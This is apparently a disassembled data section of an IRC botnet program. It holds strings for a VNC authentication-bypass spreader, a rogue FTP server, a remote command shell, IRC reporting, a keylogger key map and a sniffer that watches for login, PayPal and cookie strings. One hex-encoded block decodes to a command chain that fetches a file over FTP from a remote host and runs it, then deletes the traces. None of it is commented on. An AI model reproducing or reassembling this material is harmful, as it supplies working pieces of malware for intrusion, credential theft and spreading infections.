db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
align 4
word_433508 dw 1 ; DATA XREF: ___:0040E210r
align 4
dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_419C64+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
aFtpTransferCom db 'ftp transfer complete to: %s',0
align 4
a226TransferCom db '226 Transfer complete.',0Ah,0
aFtpTransferSta db 'ftp transfer started to: %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 10h
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 10h
a226TransferC_0 db '226 Transfer complete',0Ah,0
align 4
aList_0 db 'LIST',0
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00437C70o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:00437C7Co
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_3 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo
; sub_41A4D1+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o
; sub_41AA42+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo
align 4
unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96A+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96A+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o
; sub_40F96A+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
align 4
aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o
; sub_40F96A+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_40F96A+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
align 4
unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410A1E+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o
; sub_410CD5+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co
align 4
dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_410FF8+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 8
dw 8
unicode 0, <>,0
aB:
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
align 4
asc_434E54: ; DATA XREF: ___:00411C3Fo
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 10h
dd offset off_435718
dd offset off_435714
dd offset off_435710
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 0
db 0
db 3 dup(0) ; DATA XREF: ___:off_435714o
dd 3 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo
align 10h
off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o
off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o
off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0
dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h
